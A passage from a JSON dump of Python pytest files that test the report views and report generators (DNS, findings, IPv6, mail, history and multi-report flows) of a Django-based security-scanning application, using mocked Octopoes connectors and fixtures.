valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": \"all\"})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    response = ReportTypesSelectionAggregateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n    total_objects = str(len(listed_hostnames))\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n"
  },
  {
    "path": "rocky/tests/reports/test_dns_report.py",
    "content": "from reports.report_types.dns_report.report import DNSReport\n\nfrom octopoes.models.tree import ReferenceTree\n\n\ndef test_dns_report_no_findings(mock_octopoes_api_connector, valid_time, hostname, tree_data_no_findings):\n    mock_octopoes_api_connector.tree = {hostname.reference: ReferenceTree.model_validate(tree_data_no_findings)}\n\n    report = DNSReport(mock_octopoes_api_connector)\n    data = report.generate_data(str(hostname.reference), valid_time)\n\n    assert data[\"records\"] == []\n    assert data[\"security\"] == {\"spf\": True, \"dkim\": True, \"dmarc\": True, \"dnssec\": True, \"caa\": True}\n    assert data[\"finding_types\"] == []\n\n\ndef test_dns_report_two_findings_one_finding_type(\n    mock_octopoes_api_connector,\n    valid_time,\n    hostname,\n    finding_type_kat_invalid_spf,\n    finding_type_kat_nameserver_no_ipv6,\n    finding_type_kat_no_two_ipv6,\n    tree_data_dns_findings,\n):\n    mock_octopoes_api_connector.oois = {\n        finding_type_kat_invalid_spf.reference: finding_type_kat_invalid_spf,\n        finding_type_kat_nameserver_no_ipv6.reference: finding_type_kat_nameserver_no_ipv6,\n        finding_type_kat_no_two_ipv6.reference: finding_type_kat_no_two_ipv6,\n    }\n\n    mock_octopoes_api_connector.tree = {hostname.reference: ReferenceTree.model_validate(tree_data_dns_findings)}\n\n    report = DNSReport(mock_octopoes_api_connector)\n    data = report.generate_data(str(hostname.reference), valid_time)\n\n    assert len(data[\"records\"]) == 2\n    assert data[\"records\"][0][\"type\"] == \"A\"\n    assert data[\"records\"][0][\"ttl\"] == \"\"\n    assert data[\"records\"][1][\"type\"] == \"SOA\"\n    assert data[\"records\"][1][\"ttl\"] == 60\n\n    assert data[\"security\"] == {\"spf\": False, \"dkim\": False, \"dmarc\": False, \"dnssec\": False, \"caa\": False}\n\n    assert len(data[\"finding_types\"]) == 3\n    assert data[\"finding_types\"][0][\"finding_type\"] == finding_type_kat_nameserver_no_ipv6\n    assert data[\"finding_types\"][1][\"finding_type\"] == finding_type_kat_invalid_spf\n    assert data[\"finding_types\"][2][\"finding_type\"] == finding_type_kat_no_two_ipv6\n"
  },
  {
    "path": "rocky/tests/reports/test_findings_report.py",
    "content": "from reports.report_types.findings_report.report import FindingsReport\n\nfrom octopoes.models.tree import ReferenceTree\n\n\ndef test_findings_report_no_findings(mock_octopoes_api_connector, valid_time, hostname, tree_data_no_findings):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n\n    mock_octopoes_api_connector.tree = {hostname.reference: ReferenceTree.model_validate(tree_data_no_findings)}\n\n    report = FindingsReport(mock_octopoes_api_connector)\n    data = report.generate_data(str(hostname.reference), valid_time)\n\n    assert data[\"summary\"][\"total_by_severity\"][\"critical\"] == 0\n    assert data[\"summary\"][\"total_by_severity_per_finding_type\"][\"critical\"] == 0\n    assert data[\"summary\"][\"total_finding_types\"] == 0\n    assert data[\"summary\"][\"total_occurrences\"] == 0\n\n\ndef test_findings_report_two_findings_one_finding_type(\n    mock_octopoes_api_connector, valid_time, hostname, tree_data_findings, finding_types\n):\n    mock_octopoes_api_connector.oois = {\n        finding_types[0].reference: finding_types[0],\n        finding_types[1].reference: finding_types[1],\n    }\n\n    # This tree data contains four OOIs, three of which are findings that contain two different finding_types.\n    mock_octopoes_api_connector.tree = {hostname.reference: ReferenceTree.model_validate(tree_data_findings)}\n\n    report = FindingsReport(mock_octopoes_api_connector)\n    data = report.generate_data(str(hostname.reference), valid_time)\n\n    assert data[\"finding_types\"][0][\"finding_type\"] == finding_types[0]\n    assert data[\"finding_types\"][1][\"finding_type\"] == finding_types[1]\n    assert data[\"summary\"][\"total_by_severity\"][\"critical\"] == 3\n    assert data[\"summary\"][\"total_by_severity_per_finding_type\"][\"critical\"] == 2\n    assert data[\"summary\"][\"total_finding_types\"] == 2\n    assert data[\"summary\"][\"total_occurrences\"] == 3\n"
  },
  {
    "path": "rocky/tests/reports/test_generate_report_flow.py",
    "content": "from pytest_django.asserts import assertContains\nfrom reports.views.generate_report import (\n    OOISelectionGenerateReportView,\n    ReportTypesSelectionGenerateReportView,\n    SaveGenerateReportView,\n    SetupScanGenerateReportView,\n)\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom tests.conftest import setup_request\n\n\ndef test_select_all_oois_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_select_report_types\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": listed_hostnames},\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionGenerateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n    total_objects = str(len(listed_hostnames))\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n\n\ndef test_select_some_oois_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    ooi_pks = [hostname.primary_key for hostname in listed_hostnames]\n    selection = ooi_pks[0:2]\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_select_report_types\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": selection}\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionGenerateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n\n    total_objects = str(len(selection))\n\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n\n\ndef test_select_query_post_to_select_report_types(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the query to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_select_report_types\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"object_selection\": \"query\"},\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionGenerateReportView.as_view()(\n        request, organization_code=client_member.organization.code\n    )\n\n    assert response.status_code == 200\n    assert response.context_data[\"selected_oois\"] == []\n\n    assertContains(response, \"You have selected a live set in the previous step.\")\n    assertContains(response, \"this live set results in 0 objects.\")\n\n\ndef test_change_ooi_selection_for_none_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\"generate_report_select_oois\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\")}), client_member.user\n    )\n\n    response = OOISelectionGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.context_data[\"selected_oois\"] == []\n    assert list(request._messages)[0].message == \"Select at least one OOI to proceed.\"\n\n\ndef test_change_ooi_selection_with_ooi_selection(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    ooi_pks = [hostname.primary_key for hostname in listed_hostnames]\n    selection = ooi_pks[0:2]\n\n    request = setup_request(\n        rf.post(\"generate_report_select_oois\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": selection}),\n        client_member.user,\n    )\n\n    response = OOISelectionGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    oois_fetched_from_post = response.context_data[\"selected_oois\"]\n\n    assert len(oois_fetched_from_post) == 2\n\n\ndef test_report_types_selection_nothing_selected(\n    rf, client_member, valid_time, mock_organization_view_octopoes, listed_hostnames, mock_katalogus_client\n):\n    \"\"\"\n    Will send the selected report types to the configuration page (set plugins).\n    \"\"\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\"generate_report_setup_scan\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\")}), client_member.user\n    )\n\n    response = SetupScanGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307\n\n    assert list(request._messages)[0].message == \"Select at least one report type to proceed.\"\n\n\ndef test_report_types_selection(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    mocker,\n    boefje_dns_records,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send the selected report types to the configuration page (set plugins).\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records]\n\n    mock_bytes_client().upload_raw.return_value = \"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_setup_scan\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": \"all\", \"report_type\": \"dns-report\"},\n        ),\n        client_member.user,\n    )\n\n    response = SetupScanGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 307\n\n    # Redirect to export setup, all plugins are then enabled\n    assert response.headers[\"Location\"] == \"/en/test/reports/generate-report/export-setup/?\"\n\n\ndef test_save_generate_report_view(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    mocker,\n    boefje_dns_records,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send data through post to generate report.\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records]\n\n    mock_bytes_client().upload_raw.return_value = \"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_view\",\n            {\n                \"observed_at\": valid_time.strftime(\"%Y-%m-%d\"),\n                \"ooi\": listed_hostnames,\n                \"report_type\": \"dns-report\",\n                \"start_date\": \"2024-01-01\",\n                \"start_time\": \"10:10\",\n                \"recurrence\": \"once\",\n                \"parent_report_name_format\": \"${report_type} for ${oois_count} objects\",\n            },\n        ),\n        client_member.user,\n    )\n\n    response = SaveGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302  # after post follows redirect, this to first create report ID\n    assert \"/reports/scheduled-reports/\" in response.url\n\n\ndef test_save_generate_report_view_scheduled(\n    rf,\n    client_member,\n    valid_time,\n    mock_organization_view_octopoes,\n    listed_hostnames,\n    mocker,\n    boefje_dns_records,\n    mock_bytes_client,\n):\n    \"\"\"\n    Will send data through post to generate report with schedule.\n    \"\"\"\n\n    katalogus_mocker = mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    katalogus_mocker.get_plugins.return_value = [boefje_dns_records]\n\n    mock_bytes_client().upload_raw.return_value = \"Report|e821aaeb-a6bd-427f-b064-e46837911a5d\"\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](\n        count=len(listed_hostnames), items=listed_hostnames\n    )\n\n    request = setup_request(\n        rf.post(\n            \"generate_report_view\",\n            {\n                \"observed_at\": valid_time.strftime(\"%Y-%m-%d\"),\n                \"ooi\": listed_hostnames,\n                \"report_type\": \"dns-report\",\n                \"choose_recurrence\": \"repeat\",\n                \"start_date\": \"2024-01-01\",\n                \"start_time\": \"10:10\",\n                \"recurrence\": \"daily\",\n                \"report_name\": [f\"DNS report for {len(listed_hostnames)} objects\"],\n            },\n        ),\n        client_member.user,\n    )\n\n    response = SaveGenerateReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 302  # after post follows redirect, this to first create report ID\n    assert response.url == f\"/en/{client_member.organization.code}/reports/scheduled-reports/\"\n"
  },
  {
    "path": "rocky/tests/reports/test_history_report.py",
    "content": "import pytest\nfrom django.urls import resolve, reverse\nfrom pytest_django.asserts import assertContains, assertNotContains\nfrom reports.views.report_overview import ReportHistoryView, SubreportView\n\nfrom octopoes.models.ooi.reports import HydratedReport\nfrom octopoes.models.pagination import Paginated\nfrom tests.conftest import setup_request\n\n\ndef test_report_history_less_than_five_subreports_two_input_objects(\n    rf, client_member, mock_organization_view_octopoes, mocker, report_list_two_asset_reports\n):\n    \"\"\"\n    Test with less than 5 subreports and two input objects. Should contain:\n    - Number of input objects\n    - Chevron down button\n    - Only 5 subreports should be shown\n    - No \"View all subreports\" button\n    \"\"\"\n\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"report_history\", kwargs=kwargs)\n\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_reports.return_value = Paginated[HydratedReport](\n        count=len(report_list_two_asset_reports), items=report_list_two_asset_reports\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    # Check table rows\n    parent_report = report_list_two_asset_reports[0]\n    assertContains(response, parent_report.name)\n    assertContains(response, \"<td>2</td>\", html=True)\n    assertContains(response, \"Close asset report object details\")\n\n    # Check subreports, show only 5\n    total_subreports = str(len(report_list_two_asset_reports[0].input_oois))\n    child_report_1 = report_list_two_asset_reports[0].input_oois[0]\n    child_report_2 = report_list_two_asset_reports[0].input_oois[1]\n    assertContains(response, f\"{total_subreports}/{total_subreports}\")\n    assertContains(\n        response,\n        f\"This report consists of {total_subreports} asset reports with the following report types and objects:\",\n    )\n    assertNotContains(\n        response,\n        (\n            '<a href=\"/en/test/reports/report-history/subreports?'\n            f'report_id={parent_report}\" class=\"button\">View all asset reports</a>'\n        ),\n        html=True,\n    )\n    assertContains(response, child_report_1)\n    assertContains(response, child_report_2)\n\n    # Check if all report types are shown\n    assertContains(response, \"Web System Report\")\n\n\ndef test_report_history_more_than_five_asset_reports_one_input_object(\n    rf, client_member, mock_organization_view_octopoes, mocker, report_list_six_asset_reports\n):\n    \"\"\"\n    Test with more than 5 subreports and one input object. Should contain:\n    - Url of input item\n    - Chevron down button\n    - Only 5 subreports should be shown\n    - \"View all subreports\" button\n\n    \"\"\"\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"report_history\", kwargs=kwargs)\n\n    request = rf.get(url)\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().list_reports.return_value = Paginated[HydratedReport](\n        count=len(report_list_six_asset_reports), items=report_list_six_asset_reports\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    # Check table rows\n    parent_report = report_list_six_asset_reports[0]\n    assertContains(response, parent_report.name)\n    assertContains(\n        response,\n        '<a href=\"/en/test/objects/detail/?ooi_id=Hostname%7Cinternet%7Cexample.com\">example.com</a>',\n        html=True,\n    )\n    assertContains(response, \"Close asset report object details\")\n\n    # Check asset reports, show only 5\n    total_subreports = str(len(report_list_six_asset_reports[0].input_oois))\n    child_report_1 = report_list_six_asset_reports[0].input_oois[0]\n    child_report_2 = report_list_six_asset_reports[0].input_oois[1]\n    child_report_3 = report_list_six_asset_reports[0].input_oois[2]\n    child_report_4 = report_list_six_asset_reports[0].input_oois[3]\n    child_report_5 = report_list_six_asset_reports[0].input_oois[4]\n    child_report_6 = report_list_six_asset_reports[0].input_oois[5]\n    assertContains(response, f\"5/{total_subreports}\")\n    assertContains(\n        response,\n        f\"This report consists of {total_subreports} asset reports with the following report types and objects:\",\n    )\n    assertContains(\n        response,\n        (\n            '<a href=\"/en/test/reports/report-history/subreports?'\n            f'report_id={parent_report}\" class=\"button\">View all asset reports</a>'\n        ),\n        html=True,\n    )\n    assertContains(response, child_report_1)\n    assertContains(response, child_report_2)\n    assertContains(response, child_report_3)\n    assertContains(response, child_report_4)\n    assertContains(response, child_report_5)\n    assertNotContains(response, child_report_6)\n\n    # Check if all report types are shown\n    assertContains(response, \"RPKI Report\")\n    assertContains(response, \"Safe Connections Report\")\n    assertContains(response, \"System Report\")\n    assertContains(response, \"Mail Report\")\n    assertContains(response, \"IPv6 Report\")\n    assertContains(response, \"Web System Report\")\n\n\n# Test if the asset reports that belong to one parent are collected well enough\n@pytest.mark.skip(\"The SubreportView is probably not used anymore\")\ndef test_report_history_asset_reports_table(\n    rf, client_member, mock_organization_view_octopoes, mocker, report_list_six_asset_reports, get_asset_reports\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    kwargs = {\"organization_code\": client_member.organization.code}\n    url = reverse(\"subreports\", kwargs=kwargs)\n    parent_report = report_list_six_asset_reports[0]\n\n    request = rf.get(url, {\"report_id\": parent_report.primary_key})\n    request.resolver_match = resolve(url)\n\n    setup_request(request, client_member.user)\n\n    mock_organization_view_octopoes().query_many.return_value = get_asset_reports\n\n    response = SubreportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    # Check header\n    assertContains(\n        response,\n        f'<a href=\"/en/test/reports/view?report_id={parent_report}\" title=\"Shows report details\">{parent_report}</a>',\n        html=True,\n    )\n    assertContains(response, \"<h1>Asset reports</h1>\", html=True)\n    assertContains(\n        response,\n        (\n            '<a class=\"button ghost\" href=\"/en/test/reports/report-history/\">'\n            '<span class=\"icon ti-chevron-left\"></span>Back to Reports History</a>'\n        ),\n        html=True,\n    )\n\n    # Check table rows\n    assertContains(\n        response,\n        '<a href=\"/en/test/objects/detail/?ooi_id=Hostname%7Cinternet%7Cexample.com\">example.com</a>',\n        html=True,\n    )\n\n    # Check asset reports, show only 5\n    total_subreports = str(len(report_list_six_asset_reports[1]))\n    child_report_1 = report_list_six_asset_reports[1].input_oois[0]\n    child_report_2 = report_list_six_asset_reports[1].input_oois[1]\n    child_report_3 = report_list_six_asset_reports[1].input_oois[2]\n    child_report_4 = report_list_six_asset_reports[1].input_oois[3]\n    child_report_5 = report_list_six_asset_reports[1].input_oois[4]\n    child_report_6 = report_list_six_asset_reports[1].input_oois[5]\n    assertContains(response, f\"Showing {total_subreports} of {total_subreports} asset reports\")\n    assertContains(response, child_report_1)\n    assertContains(response, child_report_2)\n    assertContains(response, child_report_3)\n    assertContains(response, child_report_4)\n    assertContains(response, child_report_5)\n    assertContains(response, child_report_6)\n\n    # Check if all report types are shown\n    assertContains(response, \"RPKI Report\")\n    assertContains(response, \"Safe Connections Report\")\n    assertContains(response, \"System Report\")\n    assertContains(response, \"Mail Report\")\n    assertContains(response, \"IPv6 Report\")\n    assertContains(response, \"Web System Report\")\n\n\ndef test_report_history_report_type_summary(\n    rf, client_member, mock_organization_view_octopoes, mocker, reports_more_input_oois\n):\n    mocker.patch(\"account.mixins.OrganizationView.katalogus_client\")\n    request = setup_request(rf.get(\"report_history\"), client_member.user)\n\n    mock_organization_view_octopoes().list_reports.return_value = Paginated[HydratedReport](\n        count=1, items=[reports_more_input_oois]\n    )\n\n    response = ReportHistoryView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    assertContains(response, \"RPKI Report\")\n    assertContains(response, \"Safe Connections Report\")\n    assertContains(response, \"This report consists of 8 asset reports with the following report types and objects:\")\n    assertContains(response, \"<td>4</td>\", html=True)\n"
  },
  {
    "path": "rocky/tests/reports/test_ipv6_report.py",
    "content": "from reports.report_types.ipv6_report.report import IPv6Report\n\n\ndef test_ipv6_report_hostname_with_ipv6(mock_octopoes_api_connector, valid_time, hostname, ipaddressv6, ipaddressv4):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4, ipaddressv6]}\n    }\n\n    report = IPv6Report(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[hostname.name] == {\"enabled\": True}\n\n\ndef test_ipv6_report_hostname_without_ipv6(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]}\n    }\n\n    report = IPv6Report(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert data[hostname.name] == {\"enabled\": False}\n\n\ndef test_ipv6_report_ipv4_without_ipv6(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n    }\n\n    report = IPv6Report(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[hostname.name] == {\"enabled\": False}\n\n\ndef test_ipv6_report_ipv4_with_ipv6(mock_octopoes_api_connector, valid_time, hostname, ipaddressv4, ipaddressv6):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv4, ipaddressv6]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n    }\n\n    report = IPv6Report(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert data[hostname.name] == {\"enabled\": True}\n\n\ndef test_ipv6_report_ipv6_wit_ipv6(mock_octopoes_api_connector, valid_time, hostname, ipaddressv6):\n    mock_octopoes_api_connector.oois = {ipaddressv6.reference: ipaddressv6}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<hostname[is ResolvedHostname].address\": {hostname.reference: [ipaddressv6]},\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv6.reference: [hostname]},\n    }\n\n    report = IPv6Report(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv6.reference], valid_time)[ipaddressv6.reference]\n\n    assert data[hostname.name] == {\"enabled\": True}\n"
  },
  {
    "path": "rocky/tests/reports/test_mail_report.py",
    "content": "from reports.report_types.mail_report.report import MailReport\n\n\ndef test_mail_report_no_findings(mock_octopoes_api_connector, valid_time, hostname):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\"Hostname.<ooi[is Finding].finding_type\": {hostname.reference: []}}\n\n    report = MailReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"finding_types\"]) == 0\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 1\n    assert data[\"number_of_dkim\"] == 1\n    assert data[\"number_of_dmarc\"] == 1\n\n\ndef test_mail_report_spf_finding(mock_octopoes_api_connector, valid_time, hostname, finding_type_kat_no_spf):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<ooi[is Finding].finding_type\": {hostname.reference: [finding_type_kat_no_spf]}\n    }\n\n    report = MailReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"finding_types\"]) == 1\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 0\n    assert data[\"number_of_dkim\"] == 1\n    assert data[\"number_of_dmarc\"] == 1\n\n\ndef test_mail_report_dkim_finding(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, hostname, finding_type_kat_no_dkim\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"Hostname.<ooi[is Finding].finding_type\": {hostname.reference: [finding_type_kat_no_dkim]},\n    }\n\n    report = MailReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert len(data[\"finding_types\"]) == 1\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 1\n    assert data[\"number_of_dkim\"] == 0\n    assert data[\"number_of_dmarc\"] == 1\n\n\ndef test_mail_report_dmarc_finding(\n    mock_octopoes_api_connector, valid_time, ipaddressv4, hostname, finding_type_kat_no_dmarc\n):\n    mock_octopoes_api_connector.oois = {ipaddressv4.reference: ipaddressv4}\n    mock_octopoes_api_connector.queries = {\n        \"IPAddress.<address[is ResolvedHostname].hostname\": {ipaddressv4.reference: [hostname]},\n        \"Hostname.<ooi[is Finding].finding_type\": {hostname.reference: [finding_type_kat_no_dmarc]},\n    }\n\n    report = MailReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([ipaddressv4.reference], valid_time)[ipaddressv4.reference]\n\n    assert len(data[\"finding_types\"]) == 1\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 1\n    assert data[\"number_of_dkim\"] == 1\n    assert data[\"number_of_dmarc\"] == 0\n\n\ndef test_mail_report_multiple_findings(\n    mock_octopoes_api_connector,\n    valid_time,\n    hostname,\n    finding_type_kat_no_spf,\n    finding_type_kat_no_dkim,\n    finding_type_kat_no_dmarc,\n):\n    mock_octopoes_api_connector.oois = {hostname.reference: hostname}\n    mock_octopoes_api_connector.queries = {\n        \"Hostname.<ooi[is Finding].finding_type\": {\n            hostname.reference: [finding_type_kat_no_spf, finding_type_kat_no_dkim, finding_type_kat_no_dmarc]\n        }\n    }\n\n    report = MailReport(mock_octopoes_api_connector)\n\n    data = report.collect_data([hostname.reference], valid_time)[hostname.reference]\n\n    assert len(data[\"finding_types\"]) == 3\n    assert data[\"number_of_hostnames\"] == 1\n    assert data[\"number_of_spf\"] == 0\n    assert data[\"number_of_dkim\"] == 0\n    assert data[\"number_of_dmarc\"] == 0\n"
  },
  {
    "path": "rocky/tests/reports/test_multi_report_flow.py",
    "content": "import json\n\nfrom pytest_django.asserts import assertContains\nfrom reports.views.base import ViewReportView\nfrom reports.views.multi_report import (\n    MultiReportView,\n    OOISelectionMultiReportView,\n    ReportTypesSelectionMultiReportView,\n    SetupScanMultiReportView,\n)\n\nfrom octopoes.models.pagination import Paginated\nfrom octopoes.models.types import OOIType\nfrom tests.conftest import setup_request\n\n\ndef test_multi_report_select_oois(\n    rf, client_member, valid_time, mock_organization_view_octopoes, report_data_ooi_org_a, report_data_ooi_org_b\n):\n    \"\"\"\n    Will send the selected oois to the report type selection page.\n    \"\"\"\n\n    oois = [report_data_ooi_org_a, report_data_ooi_org_b]\n    oois_selection = [ooi.primary_key for ooi in oois]\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=len(oois), items=oois)\n\n    request = setup_request(\n        rf.post(\n            \"multi_report_select_report_types\", {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"ooi\": oois_selection}\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionMultiReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n\n    total_objects = str(len(oois_selection))\n\n    assertContains(response, f\"You have selected {total_objects} objects in the previous step.\")\n\n\ndef test_multi_report_select_oois_with_query(\n    rf, client_member, valid_time, mock_organization_view_octopoes, report_data_ooi_org_a, report_data_ooi_org_b\n):\n    \"\"\"\n    Will send the query to the report type selection page.\n    \"\"\"\n\n    oois = [report_data_ooi_org_a, report_data_ooi_org_b]\n\n    mock_organization_view_octopoes().list_objects.return_value = Paginated[OOIType](count=len(oois), items=oois)\n\n    request = setup_request(\n        rf.post(\n            \"multi_report_select_report_types\",\n            {\"observed_at\": valid_time.strftime(\"%Y-%m-%d\"), \"object_selection\": \"query\"},\n        ),\n        client_member.user,\n    )\n\n    response = ReportTypesSelectionMultiReportView.as_view()(request, organization_code=client_member.organization.code)\n\n    assert response.status_code == 200\n    assert response.context_data[\"selected_oois\"] == []\n\n    assertContains(response, \"You have selected a live set in the previous step.\")\n    assertContains(response, \"this 